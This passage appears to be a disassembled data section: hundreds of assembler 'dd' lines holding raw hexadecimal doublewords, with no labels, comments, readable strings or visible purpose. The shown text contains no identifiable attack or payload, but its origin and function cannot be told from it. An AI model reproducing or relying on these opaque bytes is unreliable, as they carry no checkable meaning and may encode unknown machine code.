		dd 0B4FF5806h, 0B6170801h, 9CC4FF0Ah, 0FF0AB603h, 38FC4h
		dd 30C5303h, 9C51911h, 3A0C5FFh, 37DD9FFh, 9C51911h, 3A0C5FFh
		dd 37DD1FFh, 9C51916h, 3A0C5FFh, 1603060Ah, 0A0C5FF19h
		dd 3063103h, 0B0020CDh,	65B1E33h, 3062F03h, 0B609190Eh
		dd 89C4FF0Ah, 7DDDFF03h, 58150F03h, 0AE517A5h, 352C6FFh
		dd 3A022FFh, 0A2DC7FFh,	0A022FF09h, 2DC7FF03h, 22FF090Ah
		dd 0C7FF03A0h, 0FF090A2Dh, 0FF03A022h, 2F032DC7h, 0ECD0306h
		dd 1E330B00h, 0E20005Bh, 0A62AFF00h, 1AFF3F03h,	4009CA6h
		dd 0F100403h, 121B4B36h, 0D1FF034Bh, 304D7C6h, 0C71D0902h
		dd 4030459h, 2030403h, 0A612FF12h, 1B4B3600h, 0A622FF09h
		dd 3030D00h, 304009Ch, 0D9FF0304h, 9ACEFFC6h, 0E0D0304h
		dd 35D0A03h, 7EC1FF04h,	0D41C22FFh, 15B1EA9h, 9B15030Dh
		dd 52600h, 1F033Ah, 2DC7FF00h, 0C718FFh, 28081E0Dh, 0F284F57h
		dd 2D22FFD3h, 23236D1Fh, 3A2C5FFh, 0D200002Eh, 34F15256h
		dd 0D200002Eh, 34F15256h, 0D200002Eh, 34F15256h, 0D200002Eh
		dd 34F15256h, 0D200002Eh, 34F15256h, 0D200002Eh, 27C5FF20h
		dd 45080E97h, 104303B0h, 0FF2EC1FFh, 0FF103EDDh, 304A4D9h
		dd 0E094D04h, 52637h, 0DF5DAFFh, 1A663D03h, 15561200h
		dd 0E0900h, 470AFF09h, 2AFF1F23h, 19FF0E45h, 0DAFF005Dh
		dd 3D030DF5h, 1A001A66h, 1E330B1Fh, 0C315CA51h,	2070Ch
		dd 59C5FF23h, 6015300h,	26E938FFh, 0D8010005h, 0D39C5FFh
		dd 0FF252D02h, 0FF0028D2h, 20D39C5h, 2994E0Fh, 0E0BC250Fh
		dd 4A4DCFFh, 0E0BC0F02h, 0DCFF20BEh, 0F0204A4h,	20BEE0BCh
		dd 7411FFBEh, 0FF2D020Dh, 3EAD2h, 0F032001h, 38FF0601h
		dd 72D0235h, 0FF072D02h, 55538h, 9FF6001h, 0D2FF0C74h
		dd 0A086FFDEh, 1D38FF07h, 26012702h, 0D5DDFFA5h, 2FA51501h
		dd 29FF0122h, 0C6210858h, 0DDFF0001h, 470B01D7h, 49D2FF2Eh
		dd 1D010005h, 0FF2E4709h, 54DD2h, 29FF0100h, 0C6210858h
		dd 89094701h, 76012702h, 222F0005h, 5829FF01h, 1C62108h
		dd 28977FFh, 5480127h, 1222F00h, 85828FFh, 1C621h, 6012712h
		dd 222F0005h, 5828FF01h, 1C62108h, 2702890Bh, 8A57501h
		dd 1222F21h, 85828FFh, 1D01C621h, 0FF2E4709h, 569D2h, 0FF091D01h
		dd 236223Ah, 12020122h,	54A021FFh, 0AADC5FFh, 0F028912h
		dd 0CB00055Ah, 11D2FF0Fh, 540FCBA5h, 1000127h, 27AC0D00h
		dd 0DA40D01h, 8540C0Ch,	0FD988FFh, 8406011Ch, 0A5001Dh
		dd 76090A0Eh, 0FE988FFh, 3D011Ch, 2070F0Ah, 2060127h, 70Fh
		dd 21FF2B01h, 0B1F005Dh, 127020Bh, 196B3B06h, 1D5D9FFh
		dd 0FF21582Bh, 0B01D431h, 0AF0F0289h, 99F42E47h, 22F1CEFFh
		dd 2890B01h, 2E47AF0Fh,	93999F4h, 0AF0F0289h, 99F42E47h
		dd 206010Fh, 5918072Dh,	0FF18010Fh, 2A01D431h, 232A2A2Ah
		dd 0C5FF2A2Ah, 60122E8h, 0D439FF18h, 2A2A2A01h,	0FF152A2Ah
		dd 2700BC29h, 30FF0601h, 70C00C9h, 5046Dh, 17B20601h, 84FF4E2Dh
		dd 90A30022h, 0C31537ADh, 0FF1D9600h, 0FF9605C6h, 1301FB57h
		dd 23A51215h, 0AE80FF15h, 5B1E3300h, 313420Ch, 0CEFF0028h
		dd 691500CEh, 506F0h, 178AC5FFh, 4DC5FF23h, 0F281301h
		dd 952AFF09h, 0BC6FFh, 0DCFF0003h, 30D00CFh, 1E3C0003h
		dd 2C00055Bh, 2C01CDDDh, 11E640Fh, 50313h, 45DDFF2Ch, 0FF2C01CDh
		dd 545C1h, 0A6C5FF2Ch, 31A030Fh, 47FFFF32h, 0E4DCFF13h
		dd 45511E3Ch, 0F03950Fh, 1D121703h, 3C7C6FFh, 38C0003h
		dd 0AE22FF1Ah, 304h, 1D1C5FFh, 0F5290204h, 70C9A24h, 200E6FFh
		dd 0F7060127h, 0C5FF007Ah, 245501D1h, 0FF070C9Ah, 200CC8Ch
		dd 620729h, 62D0AFFh, 6010005h,	1202E92h, 0DDFF2108h, 10001D1h
		dd 29020786h, 0AED9FF07h, 716001Dh, 0E39EFFh, 1BFF070Ch
		dd 160200CCh, 0DDFF1807h, 0C5FF01D1h, 0AE21FF8Ch, 801001Ch
		dd 29D988FFh, 100001Ch,	0DDFF1806h, 0C5FF01D1h,	241933C0h
		dd 24210801h, 1240001h,	0C3C5FFE9h, 0FF010024h,	120A510h
		dd 0FFAFFF00h, 0D9FF00AFh, 0FF0001D1h, 0FF18D223h, 0FF01D1DDh
		dd 2C46CEC5h, 54290204h, 0F588FF08h, 1000127h, 27ACF4FFh
		dd 0BEC5FF01h, 0D012702h, 8012702h, 27E188FFh, 31010001h
		dd 55D18FFh, 0C5FF0100h, 2700E3D0h, 0C5FF2A01h,	12702ACh
		dd 0FF34C6FFh, 1A01D1D9h, 0D012702h, 0D2FF2902h, 0D223FFC4h
		dd 330A3201h, 0CC3511Eh, 0CD28FF07h, 0C5FF2300h, 0FF0068D9h
		dd 27026CDDh, 68690601h, 7300200h, 6CDDFF00h, 54938FFh
		dd 0B1F00h, 6012737h, 26013002h, 2B820120h, 56815h, 688E2B01h
		dd 1000005h, 0BC300204h, 0A4DCFFE0h, 0BC300204h, 0FF20BEE0h
		dd 204A4DCh, 0BEE0BC30h, 11FFBE20h, 30020D74h, 106B272h
		dd 0F229FF06h, 0FFB23D00h, 0D9FF7DDDh, 10FF00F3h, 571h
		dd 2060100h, 38FF0730h,	4000571h, 12193002h, 0B25C155Fh
		dd 0FF7DDDFFh, 1500F382h, 0DDFFB212h, 300AC7Dh,	289120Ah
		dd 55A6Bh, 11FF014Ah, 0D014ABFh, 12020103h, 5A6B0289h
		dd 17D0005h, 7DBF11FFh,	30020D01h, 30027F4Eh, 2EAD2FFh
		dd 58230h, 1D3501h, 5723002h, 0D9FF0100h, 0FF30022Ch, 54DD2h
		dd 89793054h, 47AF6B02h, 2499F42Eh, 2890B01h, 2E47AF6Bh
		dd 306999F4h, 6B028979h, 0F42E47AFh, 87186099h,	7F180130h
		dd 2A012418h, 6B03042Ah, 31011C19h, 55918FFh, 0D209FF00h
		dd 1303118h
		dd 1302F18h, 1307518h, 6030F09h, 27020601h, 640601h, 60073002h
		dd 6D073017h, 1000504h,	984706h, 0D88DFF18h, 0DC5FF01h
		dd 37330A32h, 9600C315h, 5C6FF1Dh, 0FDD9FF96h, 3B151301h
		dd 441523B2h, 1E33F043h, 4500055Bh, 38FF0CBFh, 526E1h
		dd 0DDFFBF28h, 0FF28E22Ch, 0FF1228DDh, 0C39AE33h, 0FF062F03h
		dd 526E538h, 0FF001F00h, 1F0051C5h, 0FF090000h,	0C5FFF1CEh
		dd 30403A0h, 0FF10461Ah, 33BA7D9h, 6E0F082Fh, 51040304h
		dd 70CC3E2h, 0F128FFh, 0D9C5FF23h, 132DF6FFh, 0FFB911FFh
		dd 0FF01D6D1h, 210088DEh, 0DEFF016Fh, 57D86h, 88FF0801h
		dd 127C5h, 10001h, 27000B01h, 38FF0601h, 526E1h, 0FF210801h
		dd 1D709h, 0B012200h, 0FF210864h, 1D01D709h, 34B09h, 1D709FFh
		dd 34B091Ah, 0D709FF00h, 5829FF01h, 0FF00052Eh,	0FF01D709h
		dd 52E5828h, 0D709FF00h, 582BFF01h, 0FF00052Eh,	0FF2125D1h
		dd 0FF01D709h, 21085928h, 1D709FFh, 9FF121Dh, 270207A0h
		dd 2 dup(27020601h), 38FF0601h,	526E5h,	601001Fh, 0F7DDFFh
		dd 100001Fh, 0F6FFF32Ah, 0D01272Dh, 0FF2108A4h,	1D6DDh
		dd 0D6D1FF60h, 0FF180601h, 2AFF2DF7h, 34011CAEh, 2012702h
		dd 0D219FF12h, 1273118h, 70C232Ah, 6012702h, 0D1FFB22Fh
		dd 0FF0601D6h, 574CD38h, 0D20BFF00h, 0A0D1FF09h, 1270207h
		dd 0FFB28706h, 601D6D1h, 74CD38FFh, 27020005h, 1A0C0401h
		dd 2040C46h, 0D140122h,	49012202h, 8B012702h, 27023671h
		dd 6E0F0801h, 12582108h, 29FF1556h, 0D6D1FFB9h,	0CAFF0601h
		dd 1801FE00h, 1270258h,	54A06h,	38FF0601h, 574CDh, 6012702h
		dd 5046Dh, 0F8120601h, 0C5FF2A00h, 0A30A32A7h, 0C3153733h
		dd 0FF1D9600h, 769605C6h, 62151301h, 0CDDD0005h, 1E33001Ah
		dd 38FF065Bh, 526F5h, 526872Bh,	0A2387A00h, 280814F1h
		dd 0BF2808B0h, 973098Ah, 0FF0F0929h, 0D00F78Eh,	40FF681Eh
		dd 0FF7CC5FFh, 0C5FF0931h, 0FF740053h, 52DF7h, 52669h
		dd 0FF80001Ah, 5CECEh, 38FF065Bh, 526F5h, 526872Bh, 0A2F87A00h
		dd 280840F1h, 0BF2808B0h, 973098Ah, 0FF0F0929h,	0D00F708h
		dd 40FF681Eh, 0FF7CC5FFh, 0C5FF0931h, 0DEFF132Dh, 38FF00F4h
		dd 526FDh, 1E3C001Ah, 38FF065Bh, 526F5h, 526872Bh, 0A27B7A00h
		dd 280805F1h, 0BF2808B0h, 973098Ah, 0D50F0929h,	0D00F4FFh
		dd 40FF681Eh, 0FF7CC5FFh, 0C5FF0931h, 0FFA213A1h, 0CEFF00F4h
		dd 690005CEh, 5000526h,	5B00h, 500h, 0C1FF0400h, 5525C47h
		dd 0FF000000h, 0FF772D08h, 0DCA21C1h, 0AEC5FF45h, 4002F45h
		dd 14040303h, 64C5FFDAh, 0CEFF2B00h, 526F1h, 3510FF08h
		dd 0D238FF12h, 60122409h, 0A26CF6FFh, 0C6FF0014h, 0FF2F093Fh
		dd 30D78D2h, 29100825h,	2630C6FFh, 0C1FF6060h, 4519F9C5h
		dd 0AAEC5FFh, 0DDFF1004h, 2D20FF49h, 0FF3733D4h, 0E21C1h
		dd 0FFB02808h, 0D9FF7DC6h, 0D0304A6h, 4100D938h, 0C5FF00B2h
		dd 30D002Ch, 38FF2900h,	0C6FF0B89h, 0D9FF0926h,	0FCE1C5h
		dd 0C1FF1E33h, 5523B47h, 0FF000000h, 0FF772D08h, 45E2A1C1h
		dd 3B8DC5FFh, 13A61102h, 0D2FF0C0Ah, 4B86FFDEh,	3AE87FFh
		dd 4012014h, 39FF0A03h,	711027Dh, 0E00CAFFh, 19110200h
		dd 0B1611102h, 15071102h, 0C5C1FF60h, 0FF4519ACh, 40AAEC5h
		dd 49DDFF10h, 0D42D20FFh, 0C1FF3733h, 0CEFF5939h, 5CEh
		dd 5CECEFFh, 0FF850900h, 0FF00E4ABh, 5CECEh, 0B3B00h, 45083812h
		dd 6DDDFFBFh, 0DDFF2003h, 5000B44h, 9034000h, 0E47E85h
		dd 5CECEFFh, 11FF0000h,	95B0452Ch, 0F280F03h, 0A61BFF28h
		dd 0CEFF007Dh, 5CEh, 7D0A0Fh, 5CECEFFh,	0A6D9FF00h, 28080E0Fh
		dd 0E7FF85B0h, 0CECEFF00h, 53000005h, 4880000h,	20380D03h
		dd 3042303h, 0FB1D06h, 66574508h, 50037h, 3030E12h, 60304h
		dd 1F609Dh, 0D9FF1000h,	0E5C08A4h, 0AFF8509h, 0CEFF00F9h
		dd 50005CEh, 0D9FF0000h, 1500D17Dh, 0CECEFF59h,	0FF000005h
		dd 0CEFF4523h, 5CEh, 0C1FF1E33h, 545h, 50005h, 50E26h
		dd 59000E00h, 5CECEFFh,	51040000h, 1BFF0E28h, 0EEC5FF2Ch
		dd 1301CFFFh, 12020A41h, 0E0977FFh, 0FF591500h,	5CECEh
		dd 0D1FF2000h, 5000B44h, 0D1FF0000h, 5000B44h, 5000B00h
		dd 15000000h, 0B607Ch, 0FF260601h, 1500FECEh, 0CECEFF59h
		dd 5000005h, 4188FF00h,	118E0001h, 1911025Ah, 0C9118EAFh
		dd 5000Bh, 30D0F00h, 11020711h,	5000BC9h, 18FF0600h, 0A410023h
		dd 4ED1202h, 0BC91102h,	0B000500h, 0C4FF0000h, 5915015Ah
		dd 5CECEFFh, 51040000h,	530E28h, 15AC5FFh, 20A4113h, 0C5FF2363h
		dd 59150054h, 5CECEFFh,	0FF200000h, 0B44D1h, 0FF000005h
		dd 5CECEh, 7D0A0005h, 0CECEFF00h, 30D0005h, 0B0300h, 55D70005h
		dd 0FF001F00h, 526CD38h, 8938FF00h, 0CECEFF59h,	5, 0B607C15h
		dd 0E3060100h, 59150055h, 5CECEFFh, 50000h, 14588FFh, 5A111500h
		dd 0AF191102h, 0BC91100h, 500h,	30D3800h, 11020711h, 5000BC9h
		dd 0F90600h, 12020A41h,	0FD8CFF45h, 5CECEFFh, 1000500h
		dd 7D0A44FFh, 0CECEFF00h, 20D0005h, 0B7211h, 0BC91115h
		dd 53000500h, 1001F00h,	5242Bh,	89FF2B01h, 1D09005Dh, 0FF28C6FFh
		dd 1501D209h, 0CECEFF59h, 4000005h, 2C8EFF51h, 6966070Ch
		dd 0C5FF2300h, 0FF690062h, 5CECEh, 520h, 32FF0601h, 0C6FF0017h
		dd 55337h, 4B0601h, 83C4FF0Ah, 0CECEFF59h, 5, 0A2960395h
		dd 0B0304h, 0FF000005h,	5CECEh,	5260000h, 0FF000000h, 7D0A44h
		dd 5CECEFFh, 0DD090600h, 6014860h, 14FFA2h, 5000B03h, 0C4FF0000h
		dd 59150159h, 5CECEFFh,	37AD0000h, 2C8EFF15h, 0FF1D9600h
		dd 770E04C6h, 15231301h, 2C00BAE4h, 94B090Ah, 0FF04000Eh
		dd 0FF0047C1h, 800E208h, 120D10FFh, 2B233D20h, 0E094B42h
		dd 2 dup(0E700005h), 0C1FF0005h, 0E09047Eh, 0FFEC22FFh
		dd 3C90722Bh, 7EC1FF1Eh, 0D60E0904h, 90722BFFh,	0FF5B1E3Ch
		dd 5CECEh, 15232F28h, 55B831FFh, 0DBC4FF00h, 0FF001F00h
		dd 3B17A8C5h, 31003903h, 3B30304h, 0EB30013h, 46B30046h
		dd 0FF030D03h, 30DB9C5h, 30D030Dh, 0B30C2323h, 0E098A09h
		dd 0FFC538FFh, 5CECEh, 0FF120003h, 38FFD220h, 0B000549h
		dd 9CA63AFFh, 7B040304h, 2B2F090Eh, 0CECEFF2Fh,	0FF030005h
		dd 23033CC5h, 692FC5FFh, 1E3C0F00h, 2F81FF51h, 4506010Eh
		dd 0E0900C1h, 0CEDDFF00h, 0FF150005h, 562BB21h,	50000h
		dd 52C4FF0Ah, 5000500h,	500h, 5000500h,	5000000h, 500h
		dd 0CEFF0005h, 0A0005CEh, 1A0BC4FFh, 0CECEFF00h, 0FF0A0005h
		dd 1A3BC4h, 5CECEFFh, 0C4FF0A00h, 11001A2Bh, 0FF2B2A54h
		dd 19165F69h, 18620901h, 0FF011638h, 5521138h, 21080100h
		dd 141C1614h, 92FF7116h, 2064714h, 70C2516h, 0C6FF0077h
		dd 46173Fh, 45A6C4FFh, 0FF0B0157h, 0D2FFA723h, 16020B29h
		dd 16024171h, 0FF104171h, 0FF1B16DEh, 2808A222h, 1C160057h
		dd 11C1901h, 2 dup(1000100h), 0FF000100h, 1401D001h, 2516020Dh
		dd 58000365h, 18421F6Eh, 7861675h, 0D069FF18h, 0FF121929h
		dd 0FF210844h, 1D019h, 54160244h, 65160204h, 4EA1602h
		dd 4541602h, 2651602h, 5BD2FF16h, 54160204h, 23BC6FFh
		dd 792E5416h, 0C4FF0A32h, 4010078h, 8541602h, 0D039FF21h
		dd 0FF440001h, 0DAFFFFCEh, 16020D58h, 0AE38FF61h, 100011Ch
		dd 100h, 38FF07D9h, 1916020Dh, 716021Ch, 3 dup(7160241h)
		dd 44011602h, 0B32A2A01h, 16026007h, 1902FF07h,	63C6FF00h
		dd 3 dup(41071602h), 18071602h,	1D009FFh, 7B32A2Ah, 106A415h
		dd 326806h, 180FC6FFh, 1D039FFh, 0A41407B3h, 0FF060106h
		dd 4003296h, 2651602h, 2E2316h,	330A3201h, 35C1FF37h, 0C04539FFh
		dd 0B000Eh, 28080000h, 0B0057h,	4FFFC809h, 88090033h, 2800000Bh
		dd 200920h, 200900h, 10000395h,	0A5DDFFh, 0D233FF12h, 0C539FF09h
		dd 0AFF0077h, 0C539FF24h, 95003305h, 0FF100003h, 3928A4C1h
		dd 95003909h, 0FF100003h, 0CA4C5h, 2B00AC69h, 5267Ch, 34090F28h
		dd 0A5C5FF23h, 0F24C6FFh, 3C8938FFh, 46E3DC1Eh,	3EF0A00h
		dd 8E150E00h, 0EC0h, 2015h, 0D280FF8Bh,	28081708h, 2AFF090Fh
		dd 0C4FF0A1Fh, 0EF0A0044h, 0C1FFC066h, 38FF07D3h, 574CDh
		dd 68071102h, 1102062Eh, 750F0907h, 17080180h, 0F572808h
		dd 0A9D2BFFh, 0B3EC4FFh, 6010000h, 14FF0F09h, 8170801h
		dd 98AB028h, 82FF6920h,	0FF0A13D2h, 0FF00F0C4h,	0D54C3C1h
		dd 4013502h, 3F013502h,	2D83FF4Ch, 0C5FF0135h, 3130147h
		dd 0FF3F0135h, 2FCD453Bh, 0C5FF0135h, 90033E4h,	86A60AFFh
		dd 0FF121B65h, 0EC04538h, 3BFF0000h, 352F18D2h,	30401h
		dd 9B1544h, 526h, 15DA0E2Ch, 0CECEFF59h, 0FF2C0005h, 1C3C5h
		dd 11AC4FFh, 350F0901h,	13D283FFh, 511E3C0Bh, 2E8AFFh
		dd 1799070Ch, 0CADC5FFh, 13012D07h, 9020A41h, 7D070C43h
		dd 6010005h, 2A1D6BFFh,	171C5FFh, 37330A13h, 782808h, 9600001Ah
		dd 0ABFF4Ch, 0D8FFEF88h, 202800E8h, 0CE8B2009h,	8709C6FFh
		dd 28D1FFC0h, 304CE8Bh,	0B006600h, 0CE000300h, 98F098Fh
		dd 0FFDD0020h, 0C5FF6D89h, 17083EC6h, 0FF3F4D04h, 8000A61Ah
		dd 2C21FF0Bh, 23FD093Fh, 1E4C5FFh, 2DC0FF2Ch, 21FF009Dh
		dd 0A8003622h, 0F8C4FF0Ah, 0FF100E00h, 4B362221h, 3BFF091Bh
		dd 40304A6h, 82FF2C01h,	0FF093F2Dh, 304A63Bh, 0AB2C011Fh
		dd 90F0803h, 3400365Eh,	0F080304h, 30434F7h, 56090F08h
		dd 58030304h, 1F62FF13h, 66C6FF0Ah, 362221FFh, 0AE13FF00h
		dd 3A62AFFh, 6030614h, 1D3DAFFh, 29FFB313h, 0FF3F039Dh
		dd 0FF0A1F29h, 0A4629C6h, 3F4D1E33h, 0A61AFFh, 0B930B80h
		dd 0FD003600h, 0E4C5FF23h, 0BD32C01h, 36000B00h, 0FF0AA800h
		dd 0B07C4h, 4B360036h, 3BFF091Bh, 40304A6h, 3F8B2C01h
		dd 304347Ah, 0FFF70F08h, 0FF00A63Bh, 0D100A619h, 0DDFF0803h
		dd 1B4B360Dh, 0A63BFF09h, 1BFF0304h, 0FF1301D2h, 80382C4h
		dd 3BFF090Fh, 0FF0304A6h, 1301D238h, 3A3C4FFh, 5E090F08h
		dd 4340036h, 0F70F0803h, 8030434h, 456090Fh, 0CEFF0303h
		dd 0FF2C11FEh, 0FF0A1F62h, 21FF66C6h, 0FF003622h, 2AFFAE13h
		dd 61403A6h, 8FFF0603h,	0B31301D3h, 39D29FFh, 1F29FF3Fh
		dd 29C6FF0Ah, 1E330A46h, 2CD1FF4Dh, 0AFF4878h, 0F0003EAh
		dd 340030Dh, 0CEFF0E03h, 40304C8h, 800035Bh, 0FF36B045h
		dd 0FF2FBBC5h, 89FF4B88h, 3624A6h, 24030492h, 0FF123F03h
		dd 3624A623h, 0A62AFF00h, 1C5FF03h, 43100ADh, 0FF039503h
		dd 22FFA6C1h, 3F0304A0h, 0F440317h, 30434A2h, 0F28030Dh
		dd 2814FF7Ah, 832A20Fh,	0F1CEFF45h, 0F1CEFF00h,	3F030D14h
		dd 3639120Ah, 92869FFh,	30D034Bh, 0C6FF0AE5h, 6380306h
		dd 0FF032C20h, 0D9FF8222h, 0FF10462Eh, 148C4D9h, 1E3C0304h
		dd 1B2FDCh, 48000603h, 70C2301h, 0EC11FFh, 6012009h, 3001B50h
		dd 0C23A601h, 2E001B92h, 0FF3A1100h, 43313528h,	1202140Ah
		dd 0AC070C5Fh, 2D33FF00h, 28FF3A11h, 14006721h,	4931202h
		dd 0C1FF0003h, 110207D0h, 7110207h, 0FF96D3FFh,	0FF07A021h
		dd 1FFB229h, 33FFA12Dh,	0C5FF822Dh, 2D00FF03h, 26D231FFh
		dd 67B4h, 112D33FFh, 0D528FF3Ah, 21400F9h, 4510FF12h, 127001Dh
		dd 0F538FF06h, 74000574h, 70C0005h, 0F9F1CEFFh,	0FF060100h
		dd 0FF00070Bh, 30FFDCC4h, 0FF3A112Dh, 0F9FD28h,	42120214h
		dd 0D9260E26h, 17CD07h,	28FF3A11h, 1400F9E9h, 3046302h
		dd 82000000h, 0C23C070Ch, 1221519h, 0F300F906h,	0F3210801h
		dd 75F71A01h, 0F90A15h,	6010C01h, 0EF39FFh, 3FF090Ah, 19FA6h
		dd 53410601h, 122152Ch,	92FF7B06h, 401F300h, 0FF012702h
		dd 7429FFB4h, 46500C04h, 0FF000B2Dh, 1272D31h, 0F070Ch
		dd 0C01F318h, 6E39FF07h, 2A01F300h, 2202070Ch, 0C5FF0601h
		dd 70C0013h, 100054Ah, 0FF583606h, 0FF0DC421h, 3A112D31h
		dd 31BD28FFh, 2140A43h,	30463h,	0FF140400h, 362229h, 6420002h
		dd 4630046h, 76061403h,	250F2F00h, 4B4D2FFh, 2D46500Ch
		dd 31FF000Bh, 307302Dh,	84FF0614h, 0F020011h, 1241801h
		dd 2BFF070Ch, 124006Eh,	0FF070C2Ah, 2136CC0h, 19F0Fh, 0F9260601h
		dd 3C060100h, 0FF2D0AFFh, 1102A3C4h, 4D28FF3Ah,	2140005h
		dd 0C038412h, 13017D07h, 4DC4FFh, 28FF3A11h, 1400057Dh
		dd 0C5F1202h, 9BC1FF07h, 3A110043h, 56528FFh, 63021400h
		dd 2588FF08h, 0E5D2FF2Eh, 39FF1300h, 88FF58B3h,	0B0D1FF89h
		dd 0D2FF3038h, 8988FFDEh, 0E7FF0601h, 84150E00h, 1558001Dh
		dd 0A0E001Dh, 0A00AFF12h, 7A66FF07h, 0E1C8300h,	0A40538FFh
		dd 0FF078302h, 30007A09h, 0E24507h, 8302076Bh, 30380007h
		dd 0FF0E1807h, 5262138h, 0E3070C00h, 1C8300CAh,	538FF0Eh
		dd 3000ED50h, 0CA97FF07h, 0FF018300h, 2AFF0538h, 100AC74h
		dd 6B88DEFFh, 0CABB07h,	39011C83h, 0FFA620FFh, 300265D2h
		dd 6B001C19h, 23FF011Ch, 6B02042Dh, 265D2FFh, 241C196Bh
		dd 4241B01h, 1A01B30Ch,	6B020D1Bh, 0B4D2FF25h, 643B0C04h
		dd 0B4D2FF25h, 0C6FFA40Dh, 19125B3h, 0D2FFCC3Bh, 17FFFC4h
		dd 1EAD070Ch, 11C3000h,	0BDA700FFh, 0BD91BD91h,	2070CA6h
		dd 32FF0730h, 4721FF96h, 3002070Ch, 962AFF07h, 0C4721FFh
		dd 7300207h, 28FF003Eh,	300207A0h, 97FFFB07h, 28FF1F00h
		dd 300207A0h, 0FF92FF07h, 70C0097h, 5046Dh, 17990601h
		dd 0FF3A1100h, 0ACE128h, 77120214h, 22FF0303h, 207A0h
		dd 22FF123Fh, 0D1FF07A0h, 1102005Fh, 7600A307h,	240601h
		dd 112D3AFFh, 9128FF3Ah, 140A4331h, 0C5F1202h, 0AC9707h
		dd 0FF3A1100h, 43319D28h, 6302140Ah, 50E1Fh, 88DEFF01h
		dd 0FF010005h, 253F4B88h, 0DAFF1B00h, 140A43F5h, 196B020Dh
		dd 0B131FF1Ch, 31FF0005h, 10005B1h, 196B020Dh, 0AC391Ch
		dd 100AC39h, 866B020Dh,	87000B07h, 3118016Bh, 8CD2FF6Bh
		dd 1CD80001h, 2076B02h,	20FF0711h, 70C000Eh, 0AA8Eh, 28FF3A11h
		dd 0A433125h, 0A8120214h, 2 dup(3040304h), 70C0304h, 86FF92FFh
		dd 3BFF19D2h, 0FF3A112Dh, 4AD128h, 0FF120214h, 868A60Fh
		dd 603EF0Ah, 42071102h,	3A110017h, 4ADD28FFh, 9021400h
		dd 28FF3AE6h, 14004AC9h, 36F1202h, 7EC5FFh
		dd 112D3BFFh, 0F928FF3Ah, 214004Ah, 0E264212h, 3207D926h
		dd 170801A2h, 0FF3A1100h, 4AE528h, 42120214h, 0D9260E26h
		dd 5F86FF07h, 2D38FF19h, 28FF3A11h, 0A433195h, 0FF120214h
		dd 0E88A60Bh, 8E07D926h, 170801D5h, 0FF3A1100h,	43318528h
		dd 1202140Ah, 260E2642h, 0FF4907D9h, 0C4FF009Fh, 3A110215h
		dd 31B528FFh, 2140A43h,	0A61AFF12h, 2D38FF37h, 0B1582h
		dd 3041301h, 90001D15h,	39C1FF2Ch, 0FF500100h, 4331A528h
		dd 1202140Ah, 0C5FF036Fh, 0EBC4FF2Dh, 0FF3A11DBh, 55128h
		dd 0FF120214h, 3044731h, 18FF070Ch, 11DB194Eh, 5D28FF3Ah
		dd 2140005h, 4731FF12h,	70C0304h, 194E29FFh, 0FF3A11DBh
		dd 54928h, 5F120214h, 0FFF070Ch, 0FF1301CAh, 11003910h
		dd 7128FF3Ah, 2140005h,	4533FF12h, 756CDDFFh, 601004Ah
		dd 0FF0D12FFh, 0DB47C421h, 28FF3A11h, 1400056Dh, 3841202h
		dd 4959070Ch, 0F1CEFF00h, 3A110056h, 4A1928FFh,	9021400h
		dd 11020492h, 528FF3Ah,	140A4331h, 3AE60902h, 4A3128FFh
		dd 12021400h, 40304A8h,	4030403h, 0C030403h, 0FF006F07h
		dd 110046C4h, 2128FF3Ah, 214004Ah, 70C5F12h, 56000418h
		dd 0FF3A1100h, 94D528h,	0FF120214h, 4237A663h, 900D538h
		dd 6F4Ch, 14421582h, 0C621FF17h, 0C121FF6Fh, 5,	3A11005Fh
		dd 94C528FFh, 12021400h, 40304A8h, 4030403h, 0C030403h
		dd 177F07h, 28FF3A11h, 140094CDh, 3046302h, 82005F00h
		dd 55BBC5FFh, 0BEC5FF24h, 88FF020Dh, 5F1C19D2h,	0C5FF8200h
		dd 7D180040h, 0FF030401h, 2A0045C5h, 11021715h,	3312FF07h
		dd 0C5FF2A00h, 20007C13h, 1C88DFFh, 100806h, 0FF9910FFh
		dd 801D88Dh, 0FFB188FFh, 0FF0220C6h, 1401C8CEh,	0CEFF020Dh
		dd 214F01C8h, 8DFF014Ah, 20015ABh, 7D288FFh, 0C8CEFF02h
		dd 0CAFF0601h, 0FFE7FF00h, 8DFF9EDEh, 800601D8h, 6010094h
		dd 2D30FF41h, 48ACC4FFh, 28FF5001h, 0A433189h, 28120214h
		dd 6F000304h, 4FAE2600h, 3D009EFFh, 60009EFFh, 4C096021h
		dd 0FF3C1AFFh, 0AE25D288h, 6000ECD7h, 12C09FFh,	943B15h
		dd 17440601h, 4ED288FFh, 3E9E02FFh, 0FF500100h,	55528h
		dd 40120214h, 0FF000304h, 946D6CDDh, 0FF060100h, 0FF0031C5h
		dd 15033FC6h, 6700C258h, 0FF3A1100h, 57528h, 6F120214h
		dd 39C5FF03h, 0FF130168h, 1482054h, 6128FF50h, 2140005h
		dd 0C038412h, 0AA08FF07h, 66C4FFh, 28FF3A11h, 14009411h
		dd 36F1202h, 2421C5FFh,	148202Ch, 1D28FF50h, 140A4331h
		dd 3841202h, 23FF070Ch,	0DAC4FF83h, 112D22FFh, 0D28FF3Ah
		dd 140A4331h, 3841202h,	13CE070Ch, 3A110033h, 943928FFh
		dd 12021400h, 20A601FFh, 260E8826h, 8FF07D9h, 170801C5h
		dd 0FF3A1100h, 43312528h, 1202140Ah, 260E2642h,	1E207D9h
		dd 11001708h, 0D128FF3Ah, 21400BAh, 21FFB112h, 5C1h, 1BFF3500h
		dd 52Dh, 28FF5001h, 1400BAF1h, 42FF1202h, 0FF000304h, 15822D23h
		dd 0D55F7Fh, 31FF0003h,	0B139FFA6h, 0FF18AF2Eh,	535B139h
		dd 5350000h, 0
		dd 1100B4FFh, 0E928FF3Ah, 21400BAh, 3041012h, 2D23FF00h
		dd 30E5C08h, 614A020Dh,	18AF2E47h, 69150320h, 0FF0000BAh
		dd 1100231Ah, 9528FF3Ah, 140A4331h, 8FF1202h, 23FF37A6h
		dd 8015822Dh, 0FF0000BAh, 3A112D20h, 318928FFh,	2140A43h
		dd 304D312h, 2D20FF00h,	74C5FF82h, 0D288FF00h, 0AACD2FFh
		dd 0FF240AFFh, 88FF2D20h, 38FF01D2h, 208BFFB1h,	0FF3A1100h
		dd 4331B128h, 1202140Ah, 37A602FFh, 0FF4C0942h,	2D20FF57h
		dd 0FF030482h, 842FC5h,	112D20FFh, 0BD28FF3Ah, 140A4331h
		dd 2FF1202h, 94237A6h, 201BFF4Ch, 3048200h, 391EC5FFh
		dd 0FF33C4FFh, 3A112D20h, 31A528FFh, 2140A43h, 0A632FF12h
